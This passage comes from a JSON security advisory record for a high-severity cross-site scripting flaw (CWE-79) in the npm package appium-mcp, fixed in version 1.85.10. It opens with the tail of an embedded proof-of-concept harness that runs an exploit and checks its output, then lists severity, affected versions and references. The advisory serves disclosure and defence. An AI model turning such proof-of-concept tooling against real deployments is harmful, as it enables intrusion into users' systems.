BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": POC_CMD,\n            \"evidence\": (stdout + \"\\n\" + stderr)[:3000],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        print(f\"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "appium-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.85.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.85.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium-mcp/security/advisories/GHSA-x975-rgx4-5fh4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium-mcp/commit/e222bbbd6fe2b656a320efcd143563f08061a83d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/appium/appium-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium-mcp/releases/tag/v1.85.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:43:14Z",
    "nvd_published_at" : null
  }
}